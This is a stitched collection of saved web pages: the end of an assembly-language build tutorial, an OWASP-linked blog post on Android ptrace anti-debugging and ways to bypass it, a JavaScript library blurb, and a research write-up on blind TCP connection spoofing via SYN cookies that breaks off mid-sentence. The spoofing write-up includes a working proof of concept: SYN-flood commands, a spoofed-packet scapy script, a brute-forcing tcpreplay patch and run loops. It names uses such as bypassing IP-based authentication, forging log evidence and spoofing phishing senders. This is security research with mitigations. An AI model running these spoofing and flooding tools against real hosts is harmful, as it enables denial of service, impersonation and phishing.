you need to do is copy the **cmd.exe** shortcut we gave you to your working
directory, where your assembly language source files are located. When you
double-click to run the shortcut, it will open a Command window in the current
folder.

#### Assembling, Linking, and Debugging  

In addition to assembling and linking, you can use the asm32.bat file to
launch your program in the Visual Studio debugger. Try the following command:

[code]

        asm32 /D main
    
[/code]

If the program assembles and links with no errors, your program should load in
Visual Studio. The first time you do this with a new program, the source code
will not appear. All you have to do is press the **F10 key** to begin
debugging, and your program should appear with a yellow band across the first
executable line:

<img src='img/Temp2_890.gif' width='729' height='574' />

\(Depending on how Visual Studio is configured, you might have to press F8 to
do the same thing.\)

From here, you can step through the program. When you get to the call to
WriteString, you can even trace into its code by pressing the F11 key \(trace
to\). When you finish, close Visual Studio.

From this time on, when you load the same program in the Visual Studio
debugger, your source code will appear right away.

#### Assembling without Linking

Occasionally, you may want to assemble programs but not link them. This
happens, for example, when you are creating a multimodule project and you want
to assemble each asm file into an obj file separately before linking them into
the final exe program. Or, you might be assembling a module to be inserted
into a link library \(like Irvine32.lib\).

To assemble a source file only, inser the /C option before the name of the
file being assembled:

[code]

        asm32 /C main
    
[/code]

You should see the following output:

[code]

     Assembling: main.asm
    
[/code]

[code]

    The file main.obj was produced.
    ..................................
    
    
[/code]

If you are interested in learning more about how batch file commands work,
here are some reference links we found:

  * Allenware.com: Batch file tutorial
  * Microsoft TechNet article: Creating Truly Powerful Batch Files, by Brien Posey
  * Microsoft TechNet article: Using Batch Files in Windows NT, by Troy Thompson

Links go out of date quickly, but you can google for _Windows batch files_ and
get plenty of hits.

Return to top  

# Vantage Point Security

**Created:**| _5/12/2017 1:08:12 PM_  
---|---  
**Updated:**| _5/12/2017 1:08:12 PM_  
**Author:**| __  
**Tags:**| _mobile/embedded_  
  

  

In my last blog post, I talked about tampering with the virtual method tables
of certain JDWP-related classes in ART. By sprinkling an app with little anti-
JDWP tricks, developers can effectively sabotage JVM-level debugging, causing
much anger and grief to reverse engineers. There's a catch however: Android is
built on Linux, and thus inherits the ptrace system call, which provides
tracing and debugging facilities on the native layer. Many powerful tools,
including gdb, strace, jtrace and Frida, are built on top of those facilities
\(some of those tools even offer introspection, providing a convenient
backdoor for interacting with the Java VM\). Anti-reversing schemes therefore
always incorporate some form of anti-ptrace madness.

Many old-school Linux anti-debugging tricks, such as monitoring the proc
filesystem and detecting breakpoints in memory, work perfectly fine on
Android. Another technique often used in malware and commercial products is
self-debugging. This method exploits the fact that only one debugger can
attach to a process at any one time. Let's investigate how this works.

## PTRACE\_TRACEME Please\!

On Linux, the ptrace\(\) system call is used to observe and control the
execution of another process \(the "tracee"\), and examine and change the
tracee's memory and registers. It is the primary means of implementing
breakpoint debugging and system call tracing. A straigthforward way of using
the ptrace system call for anti-debugging is forking a single child, and then
calling ptrace\(parent\_pid\) to attach to the parent.

[code]

    void anti_debug() {
    
        child_pid = fork();
    
        if (child_pid == 0)
        {
            int ppid = getppid();
            int status;
    
            if (ptrace(PTRACE_ATTACH, ppid, NULL, NULL) == 0)
            {
                waitpid(ppid, &status, 0);
    
                ptrace(PTRACE_CONT, ppid, NULL, NULL);
    
                while (waitpid(ppid, &status, 0)) {
    
                    if (WIFSTOPPED(status)) {
                        ptrace(PTRACE_CONT, ppid, NULL, NULL);
                    } else {
                        // Process has exited for some reason
                        _exit(0);
                    }
                }
            }
        }
    }
[/code]

If implemented as above, the child will keep tracing the parent process until
the parent exits, causing future attempts to attach a debugger to the parent
to fail. We can verify this by compiling the code into a JNI function and
packing it into an app we run on the device.

Assuming we have done that, let's now step into the shoes of the reverse
engineer attempting to debug the app. The first sign that something funky is
going on is that ps returns not one, but two processes with the same command
line:

[code]

    root@android:/ # ps | grep -i anti
    u0_a151   18190 201   1535844 54908 ffffffff b6e0f124 S sg.vantagepoint.antidebug
    u0_a151   18224 18190 1495180 35824 c019a3ac b6e0ee5c S sg.vantagepoint.antidebug
[/code]

Android apps hardly fork\(\) for legitimate reasons \(correct me in the
comments if I'm wrong\), so this should already ring some alarm bells.
Attempting to attach to the parent process with gdbserver confirms the
suspicion:

[code]

    root@android:/ # ./gdbserver --attach localhost:12345 18190
    warning: process 18190 is already traced by process 18224
    Cannot attach to lwp 18190: Operation not permitted (1)
    Exiting
[/code]

Still wearing reverse engineering boots, what is the first thing we can try
here? Get rid of that pesky child\!

[code]

    root@android:/ # kill -9 18224
    
[/code]

With the offspring gone \(let's face it: This child was a bit too attached to
its parent for its own good\*\), the parent should be open for a new
relationship. Let's attempt to attach gdbserver again:

[code]

    root@android:/ # ./gdbserver --attach localhost:12345 18190  Attached; pid = 18190
    Listening on port 12345
[/code]

Well that, was easy - to the point that most honest reverse engineers would
feel ashamed for succeeding that way\! In the real world, you don't get away
that easily though, because the ptrace call is usually combined with more or
less intricate forms of integrity monitoring. This can be done in a variety of
ways - the developer's imagination is the only limit. Common methods include:

  * Forking multiple processes that trace one another;
  * Keeping track of running processes to make sure the children stay alive;
  * Monitoring values in the /proc filesystem, such as TracerPID in /proc/pid/status.

Let's look at a simple improvement we can make to the above method. After the
initial fork\(\), we launch an extra thread in the parent that continually
monitors the status of the child. Depending on whether the app has been built
in debug or release mode \(according to the android:debuggable flag in the
Manifest\), the child process is expected to behave in one of the following
ways:

1\. In release mode, the call to ptrace fails and the child exits immediately
with a segmentation fault \(exit code 11\).

2\. In debug mode, the call to ptrace works and the child is expected to run
indefinitely. As a consequence, a call to waitpid\(child\_pid\) should never
return - if it does, something is fishy and we kill the whole process group.

The complete JNI implementation is below. Feel free to use it in your own
project by adding `JNIEXPORT (...)_antidebug() `as a native method.

[code]

    #include <jni.h>
    #include <string>
    #include <unistd.h>
    #include <sys/ptrace.h>
    #include <sys/wait.h>
    
    static int child_pid;
    
    void *monitor_pid(void *) {
    
        int status;
    
        waitpid(child_pid, &status, 0);
    
        /* Child status should never change. */
    
        _exit(0); // Commit seppuku
    
    }
    
    void anti_debug() {
    
        child_pid = fork();
    
        if (child_pid == 0)
        {
            int ppid = getppid();
            int status;
    
            if (ptrace(PTRACE_ATTACH, ppid, NULL, NULL) == 0)
            {
                waitpid(ppid, &status, 0);
    
                ptrace(PTRACE_CONT, ppid, NULL, NULL);
    
                while (waitpid(ppid, &status, 0)) {
    
                    if (WIFSTOPPED(status)) {
                        ptrace(PTRACE_CONT, ppid, NULL, NULL);
                    } else {
                        // Process has exited
                        _exit(0);
                    }
                }
            }
    
        } else {
            pthread_t t;
    
            /* Start the monitoring thread */
    
            pthread_create(&t, NULL, monitor_pid, (void *)NULL);
        }
    }
    extern "C"
    
    JNIEXPORT void JNICALL
    Java_sg_vantagepoint_antidebug_MainActivity_antidebug(
            JNIEnv *env,
            jobject /* this */) {
    
            anti_debug();
    }
[/code]

Again, we pack this into an Android app to see if it works. Just as before,
two processes show up when running the debug build of the app.

[code]

    root@android:/ # ps | grep -i anti-debug
    u0_a152   20267 201   1552508 56796 ffffffff b6e0f124 S sg.vantagepoint.anti-debug
    u0_a152   20301 20267 1495192 33980 c019a3ac b6e0ee5c S sg.vantagepoint.anti-debug
    
[/code]

However, if we now terminate the child process, the parent exits as well:

[code]

    root@android:/ # kill -9 20301                               
    root@android:/ # ./gdbserver --attach localhost:12345 20267   
    gdbserver: unable to open /proc file '/proc/20267/status'
    Cannot attach to lwp 20267: No such file or directory (2)
    Exiting
[/code]

To bypass this, it is necessary to modify the behavior of the app slightly
\(the easiest way is to patch the call to \_exit with NOPs, or hooking the
function \_exit in libc.so\). At this point, we have entered the proverbial
"arms race": It is always possible to implement more "elaborate" forms of this
defense, all of which can ultimately be defeated by reverse engineers willing
to put in the effort. An interesting Android variant is described in my HITB
2016 paper, and there's surely a whole lot of case studies to be found in
malware research \(let me know in the comments if you know of any good
examples\).

If you want to have a shot at cracking this defense \(along with a few
others\), try UnCrackable App for Android Level 2, and consider contributing
your solution to the OWASP Mobile Security Testing Guide.

## Bypassing Native Anti-Debugging

There is no generic way of bypassing anti-debugging tricks: It depends on the
particular mechanism\(s\) used to prevent or detect debugging, as well as
other defenses in the overall protection scheme. For example, if there are no
integrity checks, or you have already deactivated them, patching the app might
be the easiest way. In other cases, using Xposed, Frida or kernel modules
could be more appropriate. Possible methods include:

1\. Patching out the anti-debugging functionality. Disable the unwanted
behaviour by simply overwriting it with NOP instructions. Note that more
complex patches might be required if the anti-debugging mechanism is well
thought-out.  
2\. Using Frida or Xposed to hook native APIs like ptrace\(\) and fork\(\), or
hooking the relevant system calls using a Kernel module.

We're documenting these and other techniques in the OWASP Mobile Testing Guide
\- plus, you'll also find many other debugging tricks there:

  * Tampering and Reverse Engineering on Android
  * Testing Resiliency Against Reverse Engineering on Android
  * Assessing Anti-Reversing Schemes

## About this Article

This article is part of the Mobile Reverse Engineering Unleashed series. Click
the blue label on the top of this page to list orther articles in this series.

## About the OWASP Mobile Security Testing Guide

I wrote this how-to for the OWASP Mobile Security Testing Guide \(MSTG\), a
manual for testing the security of mobile apps. The MSTG is an open source
effort and we welcome contributions and feedback. To discuss and contribute,
join the OWASP Mobile Security Project Slack Channel. You can sign up here:

http://owasp.herokuapp.com/

Also, check out the mobile crackmes we developed for the guide\!

## About the Author

Bernhard Mueller is a full-stack hacker, security researcher, and winner of
BlackHat's Pwnie Award.

\* Intentionally cringeworthy

  

# Underscore.string

**Created:**| _12/3/2011 1:36:57 PM_  
---|---  
**Updated:**| _12/3/2011 1:36:57 PM_  
**Author:**| __  
**Tags:**| _JavaScript_  
  

# UNDERSCORE

# STRING

# Underscore.string is string manipulation extension for JavaScript that you
can use with or without Underscore.js \[npm install underscore.string\]

## Description

Underscore.string is JavaScript library for comfortable manipulation with
strings, extension for Underscore.js inspired by Prototype.js, Right.js,
Underscore and beautiful Ruby language.

Underscore.string provides you several useful functions: capitalize, clean,
includes, count, escapeHTML, unescapeHTML, insert, splice, startsWith,
endsWith, titleize, trim, truncate and so on.

  * Works well with Underscore 1.2.1
  * Convore group for help and feature requests 
  * If you found a bug open an issue on Github Issues

## Downloads

  * Development Version \(2.0\) 8kb, Uncompressed with Comments
  * Production Version \(2.0\) 3kb, Packed and Gzipped

Also you can install Underscore.string as NPM package

# Quick Blind TCP Connection Spoofing with SYN Cookies | Jakob Lell's Blog
**Created:**| _8/15/2013 7:27:14 AM_  
---|---  
**Updated:**| _8/15/2013 7:27:14 AM_  
**Author:**| __  
**Tags:**| _DoS tcp_  
  

# **Q** uick Blind TCP Connection Spoofing with SYN Cookies****

Posted on August 13, 2013

## Abstract****

TCP uses 32 bit Seq/Ack numbers in order to make sure that both sides of a
connection can actually receive packets from each other**.** Additionally,
these numbers make it relatively hard to spoof the source address because
successful spoofing requires guessing the correct initial sequence number
\(ISN\) which is generated by the server in a non-guessable way**.** It is
commonly known that a 32 bit number can be brute forced in a couple of hours
given a fast \(gigabit\) network connection**.** This article shows that the
effort required for guessing a valid ISN can be reduced from hours to minutes
if the server uses TCP SYN Cookies \(a widely used defense mechanism against
SYN-Flooding DOS Attacks\), which are enabled by default for various Linux
distributions including Ubuntu and Debian**.**

## I. Repetition of TCP Basics****

A TCP Connection is initiated with a three-way handshake:

SYN: The Client sends a SYN packet to the server in order to initiate a
connection**.** The SYN packet contains an initial sequence number \(ISN\)
generated by the client**.**  
SYN-ACK: The server acknowledges the connection request by the client**.** The
SYN-ACK Packet contains an ISN generated by the server**.** It also confirms
the ISN from the client in the ack field of the TCP header so that the client
can verify that the SYN-ACK packet actually comes from the server and isn’t
spoofed**.**  
ACK: In the final ACK packet of the three-way handshake the client confirms
that it has received the ISN generated by the server**.** That way the server
knows that the client has actually received the SYN-ACK packet from the server
and thus the connection request isn’t spoofed**.**

After this three-way handshake, the TCP connection is established and both
sides can send data to each other**.** The initial sequence numbers make sure
that the other side can actually receive the packets and thus prevent IP
spoofing given that the attacker can’t receive packets sent to the spoofed IP
address**.**

Since the initial sequence numbers are only 32-bit values, it is not
impossible to blindly spoof a connection by brute-forcing the ISN**.** If we
need to send 3 packets to the server \(one SYN packet to initiate the
connection, one ACK packet to finish the three-way handshake and one payload
packet\), we will have to send 3\*2^32 packets per successfully spoofed
connection at an average**.** Given a packet rate of 300,000 packets per
second \(which can easily be achieved with a gigabit connection\), sending
this packets requires some 12 hours**.**

One long-known weakness of the original TCP protocol design is that an
attacker can spoof a high number of SYN packets to a server**.** The server
then has to send \(and maybe even retransmit\) a SYN-ACK packet to each of the
spoofed IP addresses and keep track the half-open connection so that it can
handle an ACK packet**.** Remembering a high number of bogus half-open
connections can lead to resource exhaustion and make the server unresponsive
to legitimate clients**.** This attack is called SYN Flooding and it can lead
to DOS even if the attacker only uses a fraction of the network bandwidth
available to the server**.**

## II. Description of the SYN Cookie approach****

In order to protect servers against SYN-Flooding attacks, Daniel J. Bernstein
suggested the technique of TCP Syn Cookies in 1996**.** The main idea of the
approach is not to keep track of incoming SYN packets and instead encode the
required information in the ISN generated by the server**.** Once the server
receives an ACK packet, he can check whether the Ack number from the client
actually matches the server-generated ISN, which can easily be recalculated
when receiving the ACK-packet**.** This allows processing the ACK packet
without remembering anything about the initial SYN request issued by the
client**.**

Since the server doesn’t keep track of half-open connections, it can’t
remember any detail of the SYN packet sent by the client**.** Since the
initial SYN packet contains the maximum segment size \(MSS\) of the client,
the server encodes the MSS using 3 bits \(via a table with 8 hard-coded MSS
values\)**.** In order to make sure that half-open connections expire after a
certain time, the server also encodes a slowly-incrementing \(typically about
once a minute\) counter to the ISN**.** Other options of the initial SYN
packet are typically ignored \(although recent Linux kernels do support some
options by encoding them via TCP Timestamps \[1\] \)**.** When receiving an
ACK packet, the kernel extracts the counter value from the SYN Cookie and
checks whether it is one of the last 4 valid values**.**

The original approach of Bernstein \[2\]  only encodes the counter and the MSS
value in the first 8 bits of the ISN thus leaving only 24 bits for the
cryptographically generated \(non-guessable\) value which needs to be guessed
for spoofing a connection**.** This can easily be brute forced within
relatively short time given the speed of modern network hardware**.** In order
to mitigate this attack, Bernstein suggests \[3\] :

> \# Add another number to the cookie: a 32-bit server-selected secret
> function of the client address and server address \(but not the current
> time\)**.** This forces the attacker to guess 32 bits instead of 24**.**
This is implemented in recent Linux kernels and it does indeed make guessing
the ISN more costly than a simple implementation without this additional
secret function**.** However, as we will see in the next section, it does not
require the attacker to guess the full 32 bit ISN**.**

The following function shows the generation of the SYN Cookies in the Linux
Kernel 3**.** 10.1 \(file net/ipv4/syncookies**.** c\):

[code]

    #define COOKIEBITS 24	/* Upper bits store count */
    #define COOKIEMASK (((__u32)1 << COOKIEBITS) - 1)
    
    static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,
    				   __be16 dport, __u32 sseq, __u32 count,
    				   __u32 data)
    {
    	/*
    	 * Compute the secure sequence number**.**
    	 * The output should be:
    	 *   HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^24)
    	 *      + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24)**.**
    	 * Where sseq is their sequence number and count increases every
    	 * minute by 1**.**
    	 * As an extra hack, we add a small "data" value that encodes the
    	 * MSS into the second hash value**.**
    	 */
    
    	return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +
    		sseq + (count << COOKIEBITS) +
    		((cookie_hash(saddr, daddr, sport, dport, count, 1) + data)
    		 & COOKIEMASK));
    }
    
[/code]

The value sseq is the sequence number generated by the client and is therefore
directly known to the attacker**.** The data is an integer between 0 and 7,
which encodes one of 8 possible MSS values**.** The count value is just a
timestamp which is increased once a minute and it is encoded in the upper 8
bits of the generated cookie**.** However, since the first hash value is not
known to the attacker, the timestamp value must be guessed by the attacker as
well**.**

The following two functions show how the SYN Cookies are verified when
receiving an ACK packet:

[code]

    #define COUNTER_TRIES 4
    
    /*
     * This retrieves the small "data" value from the syncookie**.**
     * If the syncookie is bad, the data returned will be out of
     * range**.**  This must be checked by the caller.
     *
     * The count value used to generate the cookie must be within
     * "maxdiff" if the current (passed-in) "count"**.**  The return value
     * is (__u32)-1 if this test fails**.**
     */
    static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
    				  __be16 sport, __be16 dport, __u32 sseq,
    				  __u32 count, __u32 maxdiff)
    {
    	__u32 diff;
    
    	/* Strip away the layers from the cookie */
    	cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;
    
    	/* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */
    	diff = (count - (cookie >> COOKIEBITS)) & ((__u32) - 1 >> COOKIEBITS);
    	if (diff >= maxdiff)
    		return (__u32)-1;
    
    	return (cookie -
    		cookie_hash(saddr, daddr, sport, dport, count - diff, 1))
    		& COOKIEMASK;	/* Leaving the data behind */
    }
    
    /*
     * Check if a ack sequence number is a valid syncookie**.**
     * Return the decoded mss if it is, or 0 if not.
     */
    static inline int cookie_check(struct sk_buff *skb, __u32 cookie)
    {
    	const struct iphdr *iph = ip_hdr(skb);
    	const struct tcphdr *th = tcp_hdr(skb);
    	__u32 seq = ntohl(th->seq) - 1;
    	__u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,
    					    th->source, th->dest, seq,
    					    jiffies / (HZ * 60),
    					    COUNTER_TRIES);
    
    	return mssind < ARRAY_SIZE(msstab) **?** msstab[mssind] : 0;
    }
    
[/code]

First of all, the server removes the first hash value and the ISN chosen by
the client**.** This is easily possible because the hash only depends on a
server secret and the source/destination address/port and doesn't change over
time**.** Then the upper 8 bits contain the count value and if this counter is
one of the last four valid counter values, it is accepted**.** At that point
the counter used for generating the SYN Cookie is known and the server can
therefore calculate the second hash and subtract it from the cookie**.** The
remaining value is the encoded MSS value. The Cookie is only accepted if this
encoded MSS value is actually a number between 0 and 7**.**

## III. Reduced cost of guessing due to multiple valid ISNs****

Since the kernel encodes a counter and the MSS value in the ISN, there must be
one valid ISN for every combination of a valid counter value and a valid MSS
value**.** In current implementations there are 4 valid counter values and 8
possible MSS values**.** This gives a total of 32 valid combinations which
will be accepted by the server at any given time**.** Each of this 32
combination results in one valid ISN and if the attacker guesses any one of
them, the kernel will accept the ACK packet**.** This reduces the effort
needed to successfully guess a valid ISN by the factor 32**.**

Since the server doesn't remember that he has received a SYN packet when using
SYN Cookies, there is no need to actually send the initial SYN packet**.** If
we start the connection by sending an ACK packet and guess one of the 32 valid
ISNs, the kernel will process the ACK packet without noticing that he has
never received a SYN packet from the client and responded with a SYN-Ack
packet**.**

## IV. Combination of ACK-Packet and Payload****

Although the TCP standard assumes that the three-way handshake is completed
before any data is sent, it is also possible to add data to the final ACK
packet of the handshake \[4\] **.** This means that guessing an ISN and
spoofing a full tcp connection with some payload data \(such as an http
request\) can be reduced to sending out only one single packet**.** So the
average number of packets required per successfully spoofed connection can be
reduced to 2^32 / 32 \(because the server accepts 32 different ISNs at a
time\)**.** At a packet rate of 300,000 pps \(which can easily be achieved
with gigabit ethernet\) this amount of packets can be sent out in no more than
8 minutes \(compared to the 12 hours calculated in section I\)**.**

## V. Possible real-life applications of TCP Connection spoofing****

Many application developers assume that TCP makes sure that the client IP
address is actually correct and can't easily be spoofed**.** Being able to
spoof the source address obviously creates significant problems when using the
IP address for authentication e.g. for legacy protocols like RSH**.** Even if
RSH has widely been replaced by more secure alternatives like SSH by now,
there are still some applications where the IP address is used for
authentication**.** For instance it is still common to have administrative
interfaces which can only be accessed from certain IP addresses**.** Another
widespread usage of IP addresses for authentication is that many web
applications bind the session ID to a specific IP address**.** If the session
ID can be stolen by other means, an attacker can use the method described here
to bypass this IP address verification**.**

Aside from actually using IP addresses for authenticating requests, it is also
quite common to log IP addresses, which may then be used to track down
initiators of objectionable requests such as exploits, abusive blog comments
or illegal file sharing traffic**.** Using the technique described here may
allow planting false evidence in the logged IP addresses**.**

Being able to spoof IP addresses also allows bypassing SPF e.g. when sending
spear phishing mails in order to give the phishing mails the additional
credibility of a valid SPF sender address, which may help to bypass email
filtering software**.**

An obvious limitation of the technique described here is that when spoofing
the IP address, you can only send a request \(which may result in persistent
changes on the server\) but not receive any responses sent by the server**.**
For many protocols it is however possible to guess the size of the server
responses, send matching ACK packets and transmit multiple payload packets in
order to spoof a more complex protocol interaction with the server**.**

## VI. POC Exploit and real-life performance measures****

This section describes the steps needed to actually carry out the attack and
contains full POC code**.** For my experimental setup the server used the IP
address 192**.** 168.1**.** 11 and port 1234. The attacker system was located
in the same local subnet and the spoofed IP address was 192**.** 168.1**.**
217.

First of all, even if SYN Cookies are enabled in
/proc/sys/net/ipv4/tcp\_syncookies \(which is the default for various linux
distributions\), the system will still use a traditional backlog queue for
storing half-open connections and only fall back to using SYN Cookies if the
backlog queue overflows**.** The main reason for this is that storing
information about connection requests allows full support of TCP Options and
arbitrary MSS values \(which don't have to be reduced to one of 8 predefined
values\)**.** The backlog queue size is 2048 by default and can be adjusted
via /proc/sys/net/ipv4/tcp\_max\_syn\_backlog**.** So in order to actually
carry out the spoofing attack, we have to intentionally overflow the backlog
queue by doing a Syn-Flooding attack**.** This can be done e.g. with the
hping3 command:

[code]

    hping3 -i u100 -p 1234 -S -a 192**.** 168.1**.** 216 -q 192.168.1.11
    
[/code]

Experiments have shown that running hping3 in parallel to the actual ISN
brute-forcing does significantly reduce the packet rate even if hping3 is
configured to use only a small fraction of the packet rate of the ISN brute-
forcing tool**.** In order to achieve the maximum packet rate possible, it is
therefore more efficient to run hping3 in regular short intervals**.** The
following command sends out 3000 SYN packets in a short burst once a second:

[code]

    while true;do time hping3 -i u1 -c 3000 -S -q -p 1234 -a 192**.** 168.1.216 192.168**.** 1.11;sleep 1;done
    
[/code]

The source IP address used for this SYN-Flooding attack should not respond
with a RST packet or return an ICMP Destination Host Unreachable message so
that the queue entries aren't freed before they time out**.** On linux you can
easily add another IP address to a network interface and block all traffic
coming to this IP address in order to prevent it from responding with RST
packets:

[code]

    ifconfig eth0:1 inet 192**.** 168.1.216 netmask 255**.** 255.255.0 up
    iptables -I INPUT --dst 192.168**.** 1.216 -j DROP
    
[/code]

I've used the same commands to set up the IP address 192**.** 168.1**.** 217,
which is the IP address I wanted to spoof. This makes sure that sending
responses to the spoofed address won't lead to a RST packet or an ICMP
Destination Host Unreachable packet, which may lead to a premature termination
of the connection and the processing of the spoofed request in the server
software**.**

[code]

    ifconfig eth0:2 inet 192.168**.** 1.217 netmask 255.255.255**.** 0 up
    iptables -I INPUT --dst 192.168.1.217 -j DROP
    
[/code]

In a real world attack, the same goal can also be achieved by issuing a
\(D\)DOS attack against the spoofed IP address**.**

Once the system is in SYN-Cookie mode, it is necessary to spoof a high number
of ACK packets with a payload in order to guess one of the 32 valid ISNs**.**
I initially wanted to do this with scapy but this failed due to the utterly
low performance of scapy \(less then 10k packets per second\)**.** So I went
on to create a pcap file in scapy, which can then be sent out with a patched
version of tcpreplay in a loop**.** The patched tcpreplay just increases the
ack field of the tcp header by 31337 for each repetition of the loop**.**
Using an uneven number makes sure that it reaches all 2^32 possible values
without repetitions**.** In theory you could just linearly try all possible
ISNs**.** However, the counter value in the 8 upper bits of the ISN only
changes once a minute and is linearly incremented for a given combination of
source and destination address/port**.** Therefore a linear search will likely
be in an incorrect range and not create any hit within a long time**.** So it
is advisable to increment the guessed ISN by a larger number so that it
traverses the full ISN space relatively quickly**.**

The following python script creates a single ACK packet with some payload data
and writes the packet to a pcap file:

[code]

    #**!** /usr/bin/python
     
    # Change log level to suppress annoying IPv6 error
    import logging
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
     
    from scapy.all import *
    import time
     
    # Adjust MAC addresses of sender and recipient of this packet accordingly, the dst MAC 
    # should be the MAC of the gateway to use when the target is not on your local subnet
    ether=Ether(src="40:eb:60:9f:42:a0",dst="e8:40:f2:d1:b3:a2")
    # Set up source and destination IP addresses
    ip=IP(src="192**.** 168**.** 1.217", dst="192.168.1**.** 11")
     
    # Assemble an ACK packet with "Hello World\n" as a payload
    pkt = ether/ip/TCP(sport=31337, dport=1234, flags="A", seq=43, ack=1337) / ("Hello World\n")
    # Write the packet to a pcap file, which can then be sent using a patched version of tcpreplay
    wrpcap("ack_with_payload.pcap",pkt)
[/code]  
---  
The next step is to patch and compile tcpreplay with the following patch:

[code]

    diff -u -r tcpreplay-3**.** 4**.** 4/src/send_packets.c tcpreplay-3.4.4.patched/src/send_packets**.** c
    --- tcpreplay-3.4.4/src/send_packets.c	2010-04-05 02:58:02**.** 000000000 +0200
    +++ tcpreplay-3.4.4.patched/src/send_packets.c	2013-08-06 10:56:51**.** 757048452 +0200
    @@ -81,6 +81,9 @@
     void
     send_packets(pcap_t *pcap, int cache_file_idx)
     {
    +    static u_int32_t ack_bruteforce_offset = 1;
    +    uint32_t* ack;
    +    uint32_t orig_ack;
         struct timeval last = { 0, 0 }, last_print_time = { 0, 0 }, print_delta, now;
         COUNTER packetnum = 0;
         struct pcap_pkthdr pkthdr;
    @@ -154,6 +157,9 @@
     #endif
     
     #if defined TCPREPLAY && defined TCPREPLAY_EDIT
    +        ack = (uint32_t*)(pktdata + 14 + 20 + 8);
    +        orig_ack = *ack;
    +        *ack = htonl(ntohl(*ack) + ack_bruteforce_offset);
             pkthdr_ptr = &pkthdr;
             if (tcpedit_packet(tcpedit, &pkthdr_ptr, &pktdata, sp->cache_dir) == -1) {
                 errx(-1, "Error editing packet #" COUNTER_SPEC ": %s", packetnum, tcpedit_geterr(tcpedit));
    @@ -176,7 +182,7 @@
             /* write packet out on network */
             if (sendpacket(sp, pktdata, pktlen) < (int)pktlen)
                 warnx("Unable to send packet: %s", sendpacket_geterr(sp));
    -
    +        *ack = orig_ack;
             /*
              * track the time of the "last packet sent"**.**  Again, because of OpenBSD
              * we have to do a mempcy rather then assignment**.**
    @@ -205,7 +211,7 @@
                 }
             }
         } /* while */
    -
    +    ack_bruteforce_offset += 31337;
         if (options.enable_file_cache) {
             options.file_cache[cache_file_idx].cached = TRUE;
         }
[/code]  
---  
Here are the commands needed to patch and compile it on an Ubuntu 12**.** 04
amd64 system:

[code]

    apt-get install build-essential libpcap-dev
    ln -s lib/x86_64-linux-gnu /usr/lib64 # Quick workaround for a bug in the build system of tcpreplay
    wget -O tcpreplay-3**.** 4.4.tar.gz http://prdownloads.sourceforge.net/tcpreplay/tcpreplay-3**.** 4.4.tar.gz**?** download
    tar xzvf tcpreplay-3.4.4.tar.gz
    cd tcpreplay-3**.** 4.4
    cat ../tcpreplay_patch.txt | patch -p1
    **.** /configure
    make
    cp src/tcpreplay-edit ../
    
[/code]

After compiling a patched version of tcpreplay, you can use the following
commands to actually send out packets in an infinite loop:

[code]

    python create_packet**.** py
    while true;do time ./tcpreplay-edit -i eth0 -t -C -K -l 500000000 -q ack_with_payload.pcap;done
    
[/code]

## VII**.** Experimental results****

I've tested this setup in a local network between a 3 year old notebook \(HP
6440b, i5-430M CPU and Marvell 88E8072 gigabit NIC\) as the client and a
desktop computer as the server**.** With a small test payload, the achievable
packet rate is some 280,000 packets per seconds, which leads to some 73% CPU
usage of the tcpreplay process \(18% user and 55% sys in the output of
time\)**.** According to \[5\] it may be expected that the packet rate can at
least be doubled given a fast system with a decent Intel gigabit network
card**.** Obviously the actual packet rate also depends on the size of the
payload data**.** During a 10.5 hour overnight run I successfully spoofed 64
connections, which is about one successful spoof every 10 minutes**.** This is
a little bit less than the expected value of 79 spoofed connections \(once
every 8 minutes\)**.** There are several possible explanations for this
deviation:

  * The tcpreplay process takes some time to print the statistics in the end**.** During that time no packets are sent. I've only used the statistics output of tcpreplay for measuring the packet rate and so the measured packet rate may be a little bit off**.**
  * When going to the maximum packet rate achievable with your hardware, there may be packet loss \(especially if you don't use any kind of congestion control\)**.**
  * Last but not least the spoofing is a statistical process**.** The standard deviation is approximately the square root of the expected number of spoofed connections and it is not particularly unlikely to be off by one or two standard deviations from the expected value**.** For this experiment the standard deviation is sqrt\(79\) = 8**.** 89 and the measured number of spoofed connections was off by 1**.** 68 standard deviations, which is well within the expected statistical variation**.**

## VIII. Possible mitigation options****

The simplification of TCP Connection Spoofing described here is an inherent
problem of TCP SYN Cookies and so there won't be a simple patch which just
solves the issue and makes the Spoofing Attack as hard as it is without SYN
Cookies**.** It is only possible to gradually increase the required effort for
successfully spoofing a connection e.g. by only accepting the last two instead
of four counter values \(which will lead to a 60-120s timeout between the
initial SYN and the final ACK packet of the three-way handshake during a SYN
Flooding attack\) or by disallowing the combination of the final ACK packet
with payload data \(which will double the number of packets the attacker has
to send\)**.** However, even with this two mitigation options in place, the
spoofing attack is still about an order of magnitude easier with SYN Cookies
than it is without SYN Cookies and it would still be very inadvisable to
assume that the source IP address of TCP connections can't be spoofed**.** It
may also be possible to use the lower bits of the TCP timestamp option \(which
is currently used in order to support TCP Options with SYN Cookies\) for
encoding the MSS and counter values**.** However, this can only provide
effective protection against a spoofing attack if the server refuses clients
which don't support TCP timestamps during a SYN Flooding Attack, which will
break compatibility with some standard-conform TCP implementations**.**

It is obviously possible to disable SYN Cookies \(and increase the backlog
queue size in /proc/sys/net/ipv4/tcp\_max\_syn\_backlog\) in order to make the
spoofing attack as hard as possible and force an attacker to brute force the
full 32 bit ISN space**.** However, disabling SYN Cookies may require a
significant amount of CPU Time and Memory during a SYN Flooding Attack**.**
Moreover, the spoofing is still not impossible even without SYN Cookies and it
will likely succeed within a couple of hours with a gigabit ethernet
connection**.**

Given the limitations of the other mitigation options my suggestion is to
solve the problem on a higher level and make sure that the security of
applications doesn't rely on the impossible of spoofing the source address of
TCP connections**.** This obviously means that you should never rely on source
IP addresses for authentication**.** For web applications it is also possible
to mitigate the issue by using secure CSRF tokens for all actions which cause
persistent changes on the server and not processing the request unless it uses
a valid CSRF token**.** In that case the IP address of the request using the
CSRF token may be spoofed but the IP address to which the token has been sent
to can't be spoofed since the attacker will need to receive the CSRF token so
that he can use it**.** When logging IP addresses used for certain actions
such as blog comments or account registrations, the IP address to which the
